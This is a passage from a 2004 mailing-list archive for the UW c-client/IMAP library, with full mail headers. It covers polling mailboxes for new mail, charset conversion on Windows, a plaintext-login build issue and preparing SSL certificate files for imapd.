X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Alternatively, have a discrimination between "incoming" mailboxes and > mailboxes which are strictly archive. Don't even consider the archive > mailboxes, which for most users greatly overwhelm the number of > incoming mailboxes. If you are a reasonable number of incoming > mailboxes, then just have all of these mailboxes SELECTed in separate > IMAP sessions; this is the most efficient, best real-time, and > least-costly way to monitor a set of mailboxes. That becomes tricky in multiple-client situations, though, doesn't it? If the user accesses his mail from several locations (and particularly if he leaves the client open in more than one), messages may be added to an "archive" folder manually in one client that the other client would need to find out about. > Put another way; 5 IMAP sessions monitoring 5 mailboxes is less costly > (often *MUCH* less costly) than repeatedly probing those 5 mailboxes > in one IMAP session. Sessions are cheap, especially if you use the > IDLE command. Polls are not cheap, especially with mail stores that > oblige the server has to parse the enter mailbox to satisfy a STATUS. Might this method run into problems with providers that limit the number of simultaneous connections from a given IP? Thanks again, --Dave ------------------------------------------------------------------------ -- David A. Feldman User Interface Designer http://InterfaceThis.com From pinedev@shivax2.cac.washington.edu Thu Jun 24 13:41:33 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Jun 2004 13:41:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OKfXQ6016977 for ; Thu, 24 Jun 2004 13:41:33 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OKfVOd026096 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 24 Jun 2004 13:41:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5OKdjuY008368; Thu, 24 Jun 2004 13:39:46 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5OKc4wp074734 for ; Thu, 24 Jun 2004 13:38:04 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe5.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OKc0gn004597 for ; Thu, 24 Jun 2004 13:38:00 -0700 Received: from mail.bynari.net (localhost [127.0.0.1]) by bynari.net (Postfix) with ESMTP id 423911E0153 for ; Thu, 24 Jun 2004 15:38:00 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 1001) id 91CDF1E0159; Thu, 24 Jun 2004 15:37:58 -0500 (CDT) Received: from redhook.bynari.net (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id 33C301E013D for ; Thu, 24 Jun 2004 15:37:55 -0500 (CDT) Message-Id: Date: Thu, 24 Jun 2004 15:37:54 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: c-client@u.washington.edu Subject: Re: charset table and how to use them In-Reply-To: References: <44201.192.168.3.225.1087841418.squirrel@intranet.sbdintra.com> Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on mail.bynari.net X-Spam-Level: X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.61 X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_VERSION 0, __CTE 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 24 Jun 2004 11:42:26 -0700 (PDT), Mark Crispin wrote: > On Thu, 24 Jun 2004, Shawn Walker wrote: >>> To do conversion from one non-UTF-8 character set into another >>> non-UTF-8 character set, you can use the new utf8_cstocstext() routine >>> (I forget if this made it into imap-2004, but it's in imap-2004a). >>> You can do things faster and with less memory if you set up the >>> conversion tables yourself using utf8_rmap() -- Pine does this; look >>> at the routines in strings.c and filter.c in the Pine sources. >>> >> >> Basically convert ISO-8859-1, UTF-8, ISO-8859-15, etc characters to >> whatever I need in order to display the characters. > > Unless you are writing a text-based client for UNIX, you should convert > everything into UTF-8 and use exclusively Unicode for display. Even if > you are writing a text-based client for UNIX, you should still consider > using Unicode (UTF-8 is just a means of representing Unicode) as newer > versions of UNIX now support UTF-8. > > The only purpose for any other character set is to accept data in the > other character set in incoming mail and files (and possibly from the > user's keyboard -- although Unicode is preferred here too), and if > necessary to sent mail in a non-Unicode character set (although this is > doomed to deprecation). > > Put another way, most programs should only need utf8_text() and > utf8_cstext(). > > Or, if you feel that you need to be able to convert ISO-8859-15 to > KOI8-R or ISO-2022-JP or BIG5, you are probably doing something wrong. > The program isn't running on unix. It's running on Windows with Outlook (I know, bear with me. ;) I have a string "Iñtërnâtiônàlizætiøn" that I need to encode before putting it in the body contents of BODY. I don't have utf8_cstocstext(), but would that function do what I need to do? I tried utf8_cstext() but, it didn't do anything (I passed UTF-8 for the charset). Thanks, Shawn From pinedev@shivax2.cac.washington.edu Thu Jun 24 14:11:59 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Jun 2004 14:11:59 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OLBxXg018517 for ; Thu, 24 Jun 2004 14:11:59 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OLBvCo030390 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 24 Jun 2004 14:11:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5OLAVgU013060; Thu, 24 Jun 2004 14:10:31 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5OL8f0s123054 for ; Thu, 24 Jun 2004 14:08:41 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5OL8eaj029039 for ; Thu, 24 Jun 2004 14:08:40 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OL8dnc029366; Thu, 24 Jun 2004 14:08:39 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5OL8dsu006507 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 24 Jun 2004 14:08:39 -0700 Message-Id: Date: Thu, 24 Jun 2004 14:06:36 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: charset table and how to use them In-Reply-To: References: <44201.192.168.3.225.1087841418.squirrel@intranet.sbdintra.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 24 Jun 2004, Shawn Walker wrote: > The program isn't running on unix. It's running on Windows with Outlook (I > know, bear with me. ;) If it's running on Windows, then convert everything to Unicode. Unicode is what Windows uses internally. Windows may require UTF-16 encoding instead of UTF-8 for display, but that's a simple transformation. Since c-client's character set routines only generate BMP characters, UTF-16 and UCS-2 are the same. When you say that you "have a string that" you "need to encode before putting it in the body contents of BODY", it sounds to me that you're trying to build a message for sending via SMTP, as opposed to viewing it on the screen. Otherwise, you shouldn't be putting anything into body contents. What, exactly, are you trying to do (at a high level)? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 24 17:44:34 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Jun 2004 17:44:34 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5P0iXka027727 for ; Thu, 24 Jun 2004 17:44:33 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5P0iVQh002077 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 24 Jun 2004 17:44:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5P0gpZD014400; Thu, 24 Jun 2004 17:42:51 -0700 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5P0eKuV036306 for ; Thu, 24 Jun 2004 17:40:20 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5P0eJv2009912 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 24 Jun 2004 17:40:19 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5P0eIMe028504; Thu, 24 Jun 2004 17:40:18 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5P0eHaT031133 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 24 Jun 2004 17:40:18 -0700 Message-Id: Date: Thu, 24 Jun 2004 17:38:15 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Feldman Cc: c-client@u.washington.edu Subject: Re: checking for new mail in all mailboxes In-Reply-To: References: <786F3A7B-C608-11D8-AFEA-0003930AECB0@interfacethis.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 24 Jun 2004, David Feldman wrote: > That becomes tricky in multiple-client situations, though, doesn't it? It depends upon what you are trying to do. If the client maintains its own copy of the mailboxes and thus needs to synchronize, then yes you have an issue. If, on the other hand, the client just wants to know if there's new mail that it needs to show the user, the job is much simpler. The whole point of IMAP is to keep mail on the server, and the client is essentially a user interface. Some client authors can't get over the POP based idea of a message access protocol being a sort of reverse-SMTP. > Might this method run into problems with providers that limit the number of > simultaneous connections from a given IP? An ISP which does that is broken. What if that IP is a shell system, with hundreds of people logged in? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Jun 25 05:43:36 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 25 Jun 2004 05:43:36 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5PChaOf017441 for ; Fri, 25 Jun 2004 05:43:36 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5PChYjw024154 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 25 Jun 2004 05:43:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5PCfssd011386; Fri, 25 Jun 2004 05:41:54 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5PCeeDu015390 for ; Fri, 25 Jun 2004 05:40:40 -0700 Received: from waseda.lunarpages.com (waseda.lunarpages.com [216.193.202.245]) by mxe5.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5PCea6x024281 for ; Fri, 25 Jun 2004 05:40:37 -0700 Received: from h00045ad81007.ne.client2.attbi.com ([24.61.40.183] helo=[192.168.0.17]) by waseda.lunarpages.com with asmtp (TLSv1:RC4-SHA:128) (Exim 4.34) id 1Bdq0a-0005Ya-Fq; Fri, 25 Jun 2004 05:40:44 -0700 Message-Id: Date: Fri, 25 Jun 2004 08:40:34 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Feldman To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: checking for new mail in all mailboxes In-Reply-To: References: <786F3A7B-C608-11D8-AFEA-0003930AECB0@interfacethis.com> Mime-Version: 1.0 (Apple Message framework v618) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - waseda.lunarpages.com X-AntiAbuse: Original Domain - u.washington.edu X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - interfacethis.com X-Source: X-Source-Args: X-Source-Dir: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MSGID_APPLEMAIL 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > The whole point of IMAP is to keep mail on the server, and the client > is essentially a user interface. Some client authors can't get over > the POP based idea of a message access protocol being a sort of > reverse-SMTP. I don't want to start a flame war or something here, but it seems like the client-as-UI-only model is a good idea but not yet practical in many situations. Since many users are faced with (a) ISPs whose systems they might reasonably be less likely to trust than their own for things like data security and backup, (b) ISPs who don't give them enough disk space to store all their messages if they choose to keep most of their mail for archival purposes, and (c) situations where they may switch ISPs periodically and want to keep their mail interaction as is, the idea of keeping a master copy on one client computer seems like a valid one, practically if not in the abstract. I'm grappling with this issue now because I like IMAP and would like to switch my own accounts over to it, but at the very least the lack of support in most IMAP clients for situation (b) above prevents me: I would have to divide many of my mailboxes into an online "current" part and an offline "archive" part, whereas what I'd love to have is a single mailbox where older mail remains on the client only. I suppose I'm a bit off topic at this point though... --Dave ------------------------------------------------------------------------ -- David A. Feldman User Interface Designer http://InterfaceThis.com From pinedev@shivax2.cac.washington.edu Thu Jul 1 16:10:26 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Jul 2004 16:10:26 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i61NAQ5C018215 for ; Thu, 1 Jul 2004 16:10:26 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i61NAO40010338 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 1 Jul 2004 16:10:24 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i61NA8KR014796; Thu, 1 Jul 2004 16:10:08 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i61N8HM1074700 for ; Thu, 1 Jul 2004 16:08:17 -0700 Received: from mailserver.gradeastudent.net.au (mailserver.gradeastudent.net.au [220.244.37.18]) by mxe5.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i61N8DQK002411 for ; Thu, 1 Jul 2004 16:08:14 -0700 Received: from mailserver.gradeastudent.net.au (localhost [127.0.0.1]) by mailserver.gradeastudent.net.au (8.12.9p2/8.12.9) with ESMTP id i61NLmjA002418 for ; Fri, 2 Jul 2004 09:21:48 +1000 (EST) (envelope-from andrew@mailserver.gradeastudent.net.au) Received: (from andrew@localhost) by mailserver.gradeastudent.net.au (8.12.9p2/8.12.9/Submit) id i61NLlLn002417 for c-client@u.washington.edu; Fri, 2 Jul 2004 09:21:47 +1000 (EST) (envelope-from andrew) Message-Id: <200407012321.i61NLlLn002417@mailserver.gradeastudent.net.au> Date: Fri, 2 Jul 2004 09:21:47 +1000 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: User Andrew To: c-client@u.washington.edu Subject: No Plaintext Login available after build with ssl and plaintext X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, SIGNATURE_SHORT_DENSE 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello all sorry this email will likely be mangled. No nice clients yet. I installed cclient -DWITH_SSL_AND_PLAINTEXT then did the same for imap-uw on a freebsd 4.9 but when i telnet i only get LOGIN presented as the AUTH mechanism, anyone know where to start troubleshooting this? I have installed in exactly the same way on a freeBSD 4.10 OS a couple of times and was amazed by the ease of installation and am supprised this one has issues. Kind Regards, Andrew Firestone -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 1 16:17:57 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Jul 2004 16:17:57 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i61NHvdu018708 for ; Thu, 1 Jul 2004 16:17:57 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i61NHsUE010710 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 1 Jul 2004 16:17:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i61NHeb7015728; Thu, 1 Jul 2004 16:17:40 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i61NH99o036828 for ; Thu, 1 Jul 2004 16:17:09 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i61NH8Fx009982 for ; Thu, 1 Jul 2004 16:17:08 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i61NH6AL031539; Thu, 1 Jul 2004 16:17:06 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i61NH6hM019864; Thu, 1 Jul 2004 16:17:06 -0700 Message-Id: Date: Thu, 1 Jul 2004 16:17:06 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: User Andrew Cc: c-client@u.washington.edu Subject: Re: No Plaintext Login available after build with ssl and plaintext In-Reply-To: <200407012321.i61NLlLn002417@mailserver.gradeastudent.net.au> References: <200407012321.i61NLlLn002417@mailserver.gradeastudent.net.au> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 2 Jul 2004, User Andrew wrote: > Hello all sorry this email will likely be mangled. No nice clients yet. > I installed cclient -DWITH_SSL_AND_PLAINTEXT then did the same for imap-uw > on a freebsd 4.9 but when i telnet i only get LOGIN presented as the AUTH > mechanism, anyone know where to start troubleshooting this? Unfortunately, you seem to be working with a modified c-client and UW imapd, as opposed to the standard UW distribution; and the issues that you are having seem to be having are with those modifications. If you like, you can get the unmodified UW distribution from: ftp://ftp.cac.washington.edu/mail/imap.tar.Z or, if you feel adventureous and want to run the latest "hot" code: ftp://ftp.cac.washington.edu/mail/imap-2004a.DEV.tar.Z -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jul 1 16:56:00 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Jul 2004 16:55:59 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i61NtxDQ020371 for ; Thu, 1 Jul 2004 16:55:59 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i61NtvI1011888 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 1 Jul 2004 16:55:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i61NtkQ7011282; Thu, 1 Jul 2004 16:55:46 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i61Nsnc0007702 for ; Thu, 1 Jul 2004 16:54:49 -0700 Received: from smtp2.Stanford.EDU (smtp2.Stanford.EDU [171.67.16.125]) by mxe4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i61NskKD017550 for ; Thu, 1 Jul 2004 16:54:46 -0700 Received: from pangea.Stanford.EDU (pangea.Stanford.EDU [171.64.168.31]) by smtp2.Stanford.EDU (8.12.11/8.12.11) with ESMTP id i61Nsksp027973 for ; Thu, 1 Jul 2004 16:54:46 -0700 Received: from laurentia.Stanford.EDU (laurentia.Stanford.EDU [171.64.172.48]) by pangea.Stanford.EDU (8.12.7-20030918/8.12.7) with ESMTP id i61NsjJx018441 for ; Thu, 1 Jul 2004 16:54:45 -0700 (PDT) Received: from pangea.Stanford.EDU (daemon@pangea.Stanford.EDU [171.64.168.31]) by laurentia.Stanford.EDU (8.12.10/8.12.10) with ESMTP id i61NsR30012877 for ; Thu, 1 Jul 2004 16:54:32 -0700 (envelope-from lanz@pangea.Stanford.EDU) Received: (from lanz@localhost) by pangea.Stanford.EDU (8.12.7-20030918/8.12.7) id i61NsR1h012923 for c-client@u.washington.edu; Thu, 1 Jul 2004 16:54:27 -0700 (PDT) Message-Id: <200407012354.i61NsR1h012923@pangea.Stanford.EDU> Date: Thu, 1 Jul 2004 16:54:27 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Kai Lanz To: c-client@u.washington.edu Subject: UW imapd and InstantSSL certs X-PMX-Version: 4.6.0.99824, Antispam-Core: 4.6.0.101390, Antispam-Data: 2004.7.1.105712 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, SIGNATURE_SHORT_DENSE 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We currently run imapd-2002e and support SSL authentication using a certificate from Verisign. That cert is about to expire, and we're replacing it with certs from InstantSSL (much much cheaper). It was easy to prepare the Verisign certs for use with imapd -- just concatenate the server private key and the host certificate into a file called imapd.pem and stick that in /local/ssl/certs/: cat server.key pangea.crt > imapd.pem InstantSSL gives us *two* certificates: a host certificate and a CA certificate, i.e. a Comodo intermediate certificate. Can the UW imapd work with this certificate-plus-intermediate configuration? What do I need to do to prepare our new imapd.pem? -- Kai Lanz lanz@pangea.stanford.edu -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 1 17:04:37 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Jul 2004 17:04:37 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6204aQF020621 for ; Thu, 1 Jul 2004 17:04:36 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6204YBC001481 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 1 Jul 2004 17:04:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i6204OYn011712; Thu, 1 Jul 2004 17:04:24 -0700 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i62040qO115782 for ; Thu, 1 Jul 2004 17:04:00 -0700 Received: from 